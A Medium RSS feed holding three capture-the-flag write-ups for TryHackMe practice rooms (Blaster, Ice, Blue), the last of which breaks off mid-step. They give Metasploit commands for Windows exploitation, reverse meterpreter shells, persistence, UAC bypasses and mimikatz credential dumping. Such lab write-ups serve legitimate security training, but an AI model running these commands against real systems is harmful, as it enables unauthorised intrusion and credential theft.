<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by rameshwreck on Medium]]></title>
        <description><![CDATA[Stories by rameshwreck on Medium]]></description>
        <link>https://medium.com/@rameshsmillionaire?source=rss-d6b3b1f8360e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dr48e519FT5t7l2uXJfDZA.jpeg</url>
            <title>Stories by rameshwreck on Medium</title>
            <link>https://medium.com/@rameshsmillionaire?source=rss-d6b3b1f8360e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:50:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rameshsmillionaire/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe : Blaster — Writeup]]></title>
            <link>https://medium.com/@rameshsmillionaire/tryhackme-blaster-writeup-db8ffcc85024?source=rss-d6b3b1f8360e------2</link>
            <guid isPermaLink="false">https://medium.com/p/db8ffcc85024</guid>
            <category><![CDATA[blaster]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[rameshwreck]]></dc:creator>
            <pubDate>Wed, 10 Jun 2020 14:06:08 GMT</pubDate>
            <atom:updated>2020-06-10T18:56:01.252Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe : Blaster — Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*wzVwECxHWPBHV9Mvkl7Zsg.jpeg" /></figure><p><strong>Hello Everyone!</strong></p><p>This is my 3rd Writeup followed up by Ice. The purpose of this writeup is to document the steps i took to complete the<a href="https://tryhackme.com/room/blaster"><strong> Blaster</strong></a> a vulnerable windows based room. Which is created by <a href="https://tryhackme.com/room/blaster"><strong>Darkstar</strong></a> in <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Blaster is sequel to Ice. Blaster is a free room anyone can deploy and exploit the machine.</p><p><strong>[Task 1] Mission Start!</strong></p><p><strong>1.</strong>Deploy the machine! This is a Windows box so give it a few minutes (3–5 at max) to come online</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3s6CvAGwpxD18gnUcdZrA.png" /></figure><p><strong>[Task 2] Activate Forward Scanners and Launch Proton Torpedoes</strong></p><p>Scan the machine’s ip using nmap to find the number of open ports and the services that are running in.</p><p><strong>nmap</strong></p><blockquote><strong>nmap -A -T4 -p- &lt;IP&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZWxPsxVqAcyRauht288RoQ.png" /></figure><p>Looks like there is a <strong>web server</strong> running in <strong>port 80</strong> and <strong>RDP</strong> (Remote Desktop Protocol) running in <strong>port</strong> <strong>3389.</strong> Note down the every information from the enumeration part.</p><p><strong>1.</strong>How many ports are open on our target system?</p><p><strong>ANS:</strong> 2</p><p>Now let us check the web server that is running in the port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t3xt4tZ2TvIwagQMCTIMhg.png" /></figure><p>Seems like <strong>IIS</strong>(Internet Information Services) <strong>Windows Server </strong>running in port 80. Now let us do directory fuzzing using dirbuster.</p><p><strong>2.</strong> Looks like there’s a web server running, what is the title of the page we discover when browsing to it?</p><p><strong>ANS: </strong>IIS Windows Server</p><p>Let us fuzz the website using dirbuster.</p><blockquote><strong>dirbuster</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*aosDsZ1CE5N2vSAeDvJMeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*YY7p0_N5zouzy1Wwn0162Q.png" /></figure><p>Paste the target url and set the wordlist <strong>(/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt)</strong>to fuzz the site and click on start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*Cy_7gEmrIgYKvWqQ0fH7Vw.png" /></figure><p>Looks like there is an directory name <strong>retro.</strong> Let us navigate and see what retro holds for us.</p><blockquote><strong>&lt;IP&gt;/retro</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAgfDt1XeSXGjxahTOCydQ.png" /></figure><p>Wooh! the retro page looks cool. Navigate through out the site and look for any interesting information that you could find.</p><p><strong>3.</strong> Interesting, let’s see if there’s anything else on this web server by fuzzing it. What hidden directory do we discover?</p><p><strong>ANS:</strong> /retro</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0YGtnIipWzBMCUc66tblg.png" /></figure><p>Looks like we got the username <strong>Wade </strong>and some information about the password credentials. He mentions that is password is based on the Ready Player One’s , Wade’s Avatar character if you’ve already read or watched the movie you would know the answer by now if not let us research.</p><p><strong>4. </strong>What<strong> </strong>potential username do we discover?</p><p><strong>ANS: </strong>Wade</p><p>Search to find the wade’s avatar character.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*YX8lc07Ak6SIxG7spEeluA.png" /></figure><p>Wooh!!! it seems like we got the wade’s avatar character <strong>Parzival </strong>and also we got the password of wade.</p><p><strong>5.</strong> What possible password do we discover?</p><p><strong>ANS:</strong> parzival</p><p>Have you remembered the <strong>port 3389 </strong>were<strong> RDP </strong>service running in. Use freerdp to connect to the remote desktop client.</p><blockquote><strong>xfreerdp /u:wade /p:parzival /v:10.10.99.16</strong></blockquote><p><strong>/u:</strong> — Username</p><p><strong>/p:</strong> — Password</p><p><strong>/v:</strong> — IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*4OU2pJ49taRUL-CInlazkg.png" /></figure><p>Now you could see the desktop of the remote client <strong>Wade.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FOyZuP67dtQCwsWFi0TlLg.png" /></figure><p>Now go and open the user.txt to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*IE0QTLmjq-bYVR7lTrqV4Q.png" /></figure><p><strong>6.</strong> Log into the machine via Microsoft Remote Desktop (MSRDP) and read user.txt. What are it&#39;s contents?</p><p><strong>ANS: xxxxxxxxxxxxxxxxxx</strong></p><p><strong>[Task 3] Breaching the Control Room</strong></p><p>1.When enumerating a machine, it’s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?</p><p>Open the internet explorer and navigate to the favorites and view the browsing history.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*SVc-GMmz3wvP_7QBe1Fs-Q.png" /></figure><p><strong>ANS:</strong> CVE-2019–1388</p><p><strong>2.</strong> Looks like an executable file is necessary for exploitation of this vulnerability and the user didn’t really clean up very well after testing it. What is the name of this executable?</p><p>Check the desktop files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zVebwTIXnu6HdqYF0wWzfw.png" /></figure><p><strong>ANS:</strong> hhupd</p><p><strong>3. </strong>Research vulnerability and how to exploit it. Exploit it now to gain an elevated terminal!</p><p>Run the hhupd as administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U0YhpwQv9Xb909yveGcjOQ.png" /></figure><p>Click on show more</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YA8OvRw_lfWpx_d5QwHpcQ.png" /></figure><p>Click on the <strong>VeriSign Commercial Software Publishers CA.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IOn9NM9J-Qy7ygMTE5Yfiw.png" /></figure><p>Open it in explorer and the go to settings →File →Save as.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G9kWYlP_BNfKLuXo5AvefA.png" /></figure><p>Click on OK and continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9j9TG5QfuRiBoFQTEagehw.png" /></figure><p>In filename enter the filename as</p><blockquote><strong>C:\Winndows\System32</strong></blockquote><p>— and press enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fF9zvbD2lqbhn4ubCBvgIg.png" /></figure><p>In the folder area search for <strong>cmd.exe </strong>and press enter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*db8jBI3q0aJW8_XNv0Xwdg.png" /></figure><p><strong>4.</strong> Now that we’ve spawned a terminal, let’s go ahead and run the command ‘whoami’. What is the output of running this?</p><blockquote><strong>whoami</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s3egLF-loaARYeDlhCjFaw.png" /><figcaption>fig 22</figcaption></figure><p><strong>ANS: </strong>nt authority\system</p><p>Go to the C: derive and navigate to</p><blockquote><strong>C:\Users\Administrator\Desktop</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*zTGp-GIgDJLDqAjGl2hWyA.png" /></figure><p><strong>5.</strong> Now that we’ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator’s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!</p><blockquote><strong>dir</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*Bw5JzCtwu9bjqvSW50G08w.png" /></figure><blockquote><strong>more root.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3UO7dQ5cnH9CbUdRWiTnxA.png" /></figure><p><strong>ANS:XXXXXXXXXXX</strong></p><p><strong>[Task 4] Adoption into the Collective</strong></p><p>Now that we’ve thoroughly compromised our target machine, let’s return to our exploitation tools so that we can gain remote shell access and persistence.</p><p>Run msfconsole</p><blockquote><strong>msfconsole</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*ltfhh2yo5j8sqMlQBZMZ2A.png" /></figure><p>Set the Module</p><blockquote><strong>use exploit/multi/script/web_delivery</strong></blockquote><blockquote><strong>options</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*gg8QI0jIadO90Qxi9FYmPg.png" /></figure><p>Set the lhost</p><blockquote><strong>set LHOST tun0</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*ZeEAKUXwpwpplQ87fZJEBw.png" /><figcaption>fig 28</figcaption></figure><p>Set the target as <strong>PSH</strong> (Powershell)</p><blockquote><strong>show targets</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*4JBFI4w3OlvUFj1k-nS6Vw.png" /><figcaption>fig 29</figcaption></figure><blockquote><strong>set target 2</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*Ls1hSy0QpOSnyMsv71e_VA.png" /><figcaption>fig 29.1</figcaption></figure><p>Now set the payload</p><blockquote><strong>set payload windows/meterpreter/reverse_http</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*obJdLjD_zXin6A599DBo8Q.png" /><figcaption>fig 30</figcaption></figure><p>Now run the session as job.</p><blockquote><strong>run -j</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cx5NDHlHTG2P1SGf2bWn-A.png" /><figcaption>fig 31</figcaption></figure><p>Now copy and paste the metasploit’s output in the windows shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPMTttMBESzhfLl9kV8e9g.png" /></figure><p>After pasting the output in windows shell press enter.</p><p>Now you could see the meterpreter session has been created.</p><blockquote><strong>sessions</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbidm4XUGCWtgThLWfdlsg.png" /></figure><p>Now select the session and run</p><blockquote><strong>sessions 1</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*qVk0LwyngJQ64VSIBDHEkQ.png" /></figure><p>Meterpreter shell has been opened.</p><p>Enter sysinfo to view the system’s information.</p><blockquote><strong>sysinfo</strong></blockquote><blockquote><strong>run persistence -X</strong></blockquote><p><strong>For more reference:<em> </em></strong><a href="https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/"><strong><em>https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/</em></strong></a><strong><em>https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PObhJR_PSNdn1uQYrI8X1A.png" /></figure><p>We have successfully exploited the machine.</p><p><strong>Thank You!!</strong></p><p><a href="https://www.linkedin.com/in/ramesh-kumar-s"><strong>https://www.linkedin.com/in/ramesh-kumar-s</strong></a></p><blockquote><strong>!!The Only Limit Is Your Imagination!!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db8ffcc85024" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Ice —WriteUp]]></title>
            <link>https://medium.com/@rameshsmillionaire/tryhackme-ice-writeup-3b16ca786283?source=rss-d6b3b1f8360e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b16ca786283</guid>
            <category><![CDATA[tryhackme-ice]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ice]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[thm]]></category>
            <dc:creator><![CDATA[rameshwreck]]></dc:creator>
            <pubDate>Fri, 05 Jun 2020 05:46:52 GMT</pubDate>
            <atom:updated>2020-06-10T05:51:57.683Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*TxtDRv-bMxtlYtTwQ7TdCg.png" /></figure><p><strong>Hello Everyone!</strong></p><p>This is my second writeup followed by <a href="https://tryhackme.com/room/blue"><strong>Blue</strong></a>. The purpose of this writeup is to document the steps i took to complete the <a href="https://tryhackme.com/room/ice"><strong>Ice</strong></a> a vulnerable Machine. Which is created by <a href="https://tryhackme.com/p/DarkStar7471"><strong>Darkstar</strong></a> in <a href="https://tryhackme.com/"><strong>TryHackMe.</strong></a> Ice sequel to Blue . Ice is a free room anyone can deploy and exploit the machine.</p><p><strong>[Task 1] Connect</strong></p><p>Connect to the <a href="https://tryhackme.com/access"><strong>TryHackMe Vpn</strong></a> server and Deploy the box.</p><p><strong>[Task 2] Reconnaissance</strong></p><p><strong>1.</strong>Deploy the machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*foArhJLbzpW8ifrt5cUsDQ.png" /></figure><p><strong>2. </strong>Launch a scan against our target machine</p><blockquote><strong>nmap -A -T4 -p- &lt;IP&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*rZjMhiiWum_7PBQEJ6L2xw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*mK83m7JaGZtgadtoWA_ffg.png" /></figure><p>Check for open ports and the service that the ports are running in.</p><p>Nmap Vulnerability Script Scan:</p><blockquote><strong>nmap -A -T4 -p- — script vuln &lt;IP&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XynvMUUvXj-vXTdu_OLe2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*ozSWC9OysAGvJhJr_kRHNw.png" /></figure><p>You could see that our machine is vulnerable to the server <strong>Icecast streaming media server</strong> which is running in the port<strong> 8000. </strong>So go ahead and Research further to find about the exploit.</p><p><strong>3. </strong>One of the more interesting ports that is open is Microsoft Remote Desktop (MSRDP). What port is this open on?</p><p><strong>ANS:</strong> 3389</p><p><strong>4. </strong>What service did nmap identify as running on port 8000?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*3uiJ60_kU1eVrkj5Le1xCQ.png" /></figure><p><strong>ANS:</strong> <strong>Icecast</strong></p><p><strong>5. </strong>What does Nmap identify as the hostname of the machine?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*ABQSn5gMkp1xB8SAzkqUzg.png" /></figure><p><strong>ANS:</strong> DARK-PC</p><p><strong>[Task 3] Gain Access</strong></p><ol><li>What type of vulnerability is icecast use?</li></ol><p><a href="https://www.cvedetails.com/cve/CVE-2004-1561/"><strong><em>https://www.cvedetails.com/cve/CVE-2004-1561/</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*OvPW8CCNxvqfLMshorFzLQ.png" /></figure><p><strong>ANS:</strong> Execute Code Overflow</p><p><strong>2.</strong> What is the CVE number for this vulnerability?</p><p><strong>ANS: </strong>CVE-2004–1561</p><p><strong>3. </strong>Metasploit</p><blockquote><strong>msfconsole</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*RS5oFKzca7RtDA1WOwCQWQ.png" /></figure><p><strong>4.</strong> What is the full path (starting with exploit) for the exploitation module?</p><blockquote><strong>search icecast</strong></blockquote><blockquote><strong>use 0</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ALOaqahEWV7FbsWnSagiQ.png" /></figure><p><strong>ANS:</strong>exploit/windows/http/icecast_header</p><p><strong>6. </strong>What is the only required setting which currently is blank?</p><blockquote><strong>options</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLTns_ZgBEKIHglWhje1rw.png" /></figure><blockquote><strong>set RHOST &lt;IP&gt;</strong></blockquote><p>Set the RHOST and run the exploit now you could see that we got the meterpreter session. now we could move into the host system further.</p><p><strong>[Task 4] Escalate</strong></p><p><strong>1.</strong>What’s the name of the shell we have now?</p><p><strong>ANS:</strong> meterpreter</p><p><strong>2.</strong> What user was running that Icecast process?</p><blockquote><strong>getuid</strong></blockquote><p>getuid is used to get the user id.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*jni026tM37SN00mVSZuvNg.png" /></figure><p><strong>ANS:</strong> DARK</p><p><strong>3.</strong> What build of Windows is the system?</p><blockquote><strong>sysinfo</strong></blockquote><p>sysinfo displays the information about the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*mS-h9j10KQ0LSzm90r18ig.png" /></figure><p><strong>ANS: </strong>7601</p><p><strong>4. </strong>What is the architecture of the process we’re running?</p><blockquote><strong>sysinfo</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*irihwgow3GtG4btFuBfT5g.png" /></figure><p><strong>ANS:</strong> x64</p><p><strong>5. </strong>Now that we know the architecture of the process, let&#39;s perform some further recon.</p><blockquote><strong>run post/multi/recon/local_exploit_suggester</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*ck8IT4bxUASP5ZUjbRmWYw.png" /></figure><p><strong>6. </strong>What is the full path (starting with exploit/) for the first returned exploit?</p><p><strong>ANS:</strong> exploit/windows/local/bypassuac_eventvwr</p><p><strong>7. </strong>Now that we have an exploit in mind for elevating our privileges</p><p>After the exploitation has been completed go and background the merterpreter session.</p><blockquote><strong>background</strong></blockquote><blockquote><strong>use exploit/windows/local/bypassuac_eventvwr</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQ1dqhsVDNKEm4erGLCc6Q.png" /></figure><p>Now view <strong>options </strong>and set the necessary fields. In this case you have to set the <strong>SESSION</strong></p><blockquote><strong>options</strong></blockquote><blockquote><strong>set SESSION 1</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*-HIWsSZzMOSOhiuXZkbrKw.png" /></figure><p>Now go and run the exploit. When you run the exploit the reverse TCP handler assigns the IP on <strong>eth0 </strong>instead of <strong>tun0</strong>.</p><blockquote><strong>run</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QdGoBkoyvDEcFwPXZBT3w.png" /></figure><p>To change the Ip from etho to tun0 go and set the lhost to <strong>tun0 </strong>and run the exploit again.</p><blockquote><strong>set LHOST tun0</strong></blockquote><blockquote><strong>run</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*fkWYaxJmisMZk5iF2dvwTQ.png" /></figure><p><strong>14. </strong>What permission listed allows us to take ownership of files?</p><blockquote><strong>getprivs</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*4pcj-iXeT4gMaczadvkMcg.png" /></figure><p><strong>ANS:</strong> SeTakeOwnershipPrivilege</p><p><strong>[Task 5] Looting</strong></p><ol><li>Prior to further action, we need to move to a process that actually has the permissions that we need to interact with the lsass service.</li></ol><p>We are going to migrate into the spoolsv.exe session. Use the <strong>PID </strong>to migrate to the session.</p><blockquote><strong>ps</strong></blockquote><blockquote><strong>migrate &lt;PID&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPqvlHCwXcDhsgUBB_bOyw.png" /></figure><p><strong>4. </strong>What user is listed?</p><blockquote><strong>getuid</strong></blockquote><p>We are now the Authority of the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*lhl5Wj1Os2lx-mfmiDYGJg.png" /></figure><p><strong>ANS: </strong>NT AUTHORITY\SYSTEM</p><p><strong>5. </strong>Now that we’ve made our way to full administrator permissions we’ll set our sights on looting.</p><blockquote><strong>load kiwi</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*Z0fzZPi3zvFvTA7jSkcQVQ.png" /></figure><p>Now we have loaded kiwi successfully. Mimikatz is a rather infamous password dumping tool. Kiwi is the updated version of Mimikatz.</p><p>Go to help Menu to view the kiwi commands</p><blockquote><strong>help</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ydcvy-DyrU3tlqVfERsOVw.png" /></figure><p><strong>7.</strong> Which command allows up to retrieve all credentials?</p><blockquote><strong>creds_all</strong></blockquote><p>Woooh! look at that we got the admin password isn’t it great.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-vz8H-qeFXvc4Io3Img7GA.png" /></figure><p><strong>8.</strong> What is Dark’s password?</p><p>From previous image we know that the password of Dark is:</p><p><strong>ANS:</strong> Password01!</p><p>You could also use hashdump and crack the hashes. Let me show you how.</p><blockquote><strong>hashdump</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*TXpkNS2xxBG8F8dcxYhwiw.png" /></figure><p>Now copy the user hashes and use online sites to crack the hash or you could use hashcat to crack the password with rockyou.txt</p><p>Let me show you with the online site<strong>.</strong></p><p><a href="https://crackstation.net/"><strong>https://crackstation.net/</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*dPB9i7A21z-IiE0I5MbXGw.png" /></figure><p><strong>[Task 6] Post-Exploitation</strong></p><p><strong>Use Help command to find and answer the Questions</strong></p><ol><li>What command allows us to dump all of the password hashes stored on the system?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R15xf8b8yjjozoo2Ba_1pQ.png" /></figure><p><strong>ANS: </strong>hashdump</p><p><strong>3. </strong>What command allows us to watch the remote user’s desktop in real time?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HORuRhV6os3rUXau_BrjKA.png" /></figure><p>ANS: screenshare</p><p><strong>4. </strong>How about if we wanted to record from a microphone attached to the system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giZfqfDawPE5sv_iYcQFqw.png" /></figure><p><strong>ANS:</strong> record_mic</p><p><strong>5. </strong>To complicate forensics efforts we can modify timestamps of files on the system. What command allows us to do this?</p><p><strong>ANS:</strong> timestomp</p><p><strong>6.</strong> Mimikatz allows us to create what&#39;s called a `golden ticket`, allowing us to authenticate anywhere with ease. What command allows us to do this?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJv5wvMYJkQmSsekbbe46w.png" /></figure><p><strong>ANS:</strong> golden_ticket_create</p><p>Check out the sequel machine <a href="https://tryhackme.com/room/blaster"><strong>Blaster</strong></a><strong>.</strong></p><p><strong>Thank You</strong></p><p><a href="https://www.linkedin.com/in/ramesh-kumar-s">https://www.linkedin.com/in/ramesh-kumar-s</a></p><blockquote><strong>!!The Only Limit Is Your Imagination!!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b16ca786283" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Blue — WriteUp]]></title>
            <link>https://medium.com/@rameshsmillionaire/tryhackme-blue-writeup-7d9e8ade89bd?source=rss-d6b3b1f8360e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d9e8ade89bd</guid>
            <category><![CDATA[tryhackme-blue-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[blues]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhckme-blue]]></category>
            <dc:creator><![CDATA[rameshwreck]]></dc:creator>
            <pubDate>Wed, 03 Jun 2020 05:43:53 GMT</pubDate>
            <atom:updated>2020-06-10T05:50:43.585Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Blue — WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0RKd22B7DFfNQ3Q0zAEpGw.jpeg" /></figure><p><strong>Hello Everyone!</strong></p><p>The purpose of this writeup is to document the steps i took to complete the <a href="https://tryhackme.com/room/blue"><strong>Blue</strong></a> a vulnerable windows based room which is created by <a href="https://tryhackme.com/p/DarkStar7471"><strong>Darkstar</strong></a> in <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Blue is a free room anyone can deploy and exploit the machine.</p><p><strong>[Task 1] Reconnaissance</strong></p><p><strong>1.</strong>Scan the machine.</p><blockquote><strong>nmap -A -T4 -p- &lt;IP&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*Hc1MzJP6i59ZvSxFGER0sA.png" /></figure><p>Check for the open ports and the service that the ports are running in and check for the operating system that it’s been running on.</p><p><strong>2.</strong> How many ports are open with a port number under 1000?</p><p><strong>ANS: </strong>3</p><p><strong>3. </strong>What is this machine vulnerable to?</p><p>Use the nmap script to identify the machine’s vulnerability.</p><p><strong>nmap — script vuln &lt;IP&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*GLyLtnYlNLrGHfcwqirrDg.png" /></figure><p>The machine seems to be vulnerable to the ms17–010 exploit. Try to research it further for more details to know about the vulnerability visit.</p><p><a href="https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue"><strong>https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue</strong></a></p><p><a href="https://www.exploit-db.com/exploits/42315"><strong>https://www.exploit-db.com/exploits/42315</strong></a></p><p><strong>ANS:</strong> ms17–010</p><p><strong>[Task 2] Gain Access</strong></p><p><strong>1.</strong>Start Metasploit</p><p>We know what the machine is vulnerable to so let us use msf to exploit further.</p><blockquote><strong>msfconsole</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*KmhlcLOR396lXnR5RP9-sw.png" /></figure><p><strong>2.</strong> Find the exploitation code we will run against the machine.</p><blockquote><strong>search ms17–010</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*iiawvoSNJlJc-OxUY7CZLA.png" /></figure><p><strong>ANS: </strong>exploit(windows/smb/ms17_010_eternalblue)</p><blockquote><strong>use 2</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*kt1aSt0Dr1o612vPyfTWuA.png" /></figure><p><strong>3.</strong> Show options and set the one required value. What is the name of this value?</p><p>Now enter options to view and set the necessary field</p><blockquote><strong>options</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*odjH2EcwTnSMgSIQLasUpg.png" /></figure><p>Set the Remote IP</p><blockquote><strong>set RHOSTS &lt;IP&gt;</strong></blockquote><p><strong>ANS: </strong>RHOSTS</p><p><strong>4. </strong>Run the exploit!</p><blockquote><strong>run</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*f6ghVNrse7Uwryds1CXaBQ.png" /></figure><p>Now you could see that our exploit has been executed and we got the windows host shell. But in order to continue we need the <strong>Meterpreter shell</strong> to execute linux commands and to upload files.</p><p><strong>[Task 3] Escalate</strong></p><p>Background the host session and use :</p><blockquote><strong>use shell_to_meterpreter</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*zzSTkm_hsuU5RoWV5wiwlQ.png" /></figure><p><strong>shell_to_meterpreter is </strong>used to convert the windows shell into the meterpreter shell in a new session.</p><p>Now view Options and set the required field.</p><blockquote><strong>options</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*_7Nlgxg16rEZw2LKMMPQmw.png" /></figure><p>List the sessions and set the session number.</p><blockquote><strong>sessions -l</strong></blockquote><blockquote><strong>set session 1</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-DHCCFiATzprdeQ7pQUhQ.png" /></figure><p>Meterpreter session 2 has been opened. To list the sessions and to run the session use:</p><blockquote><strong>sessions 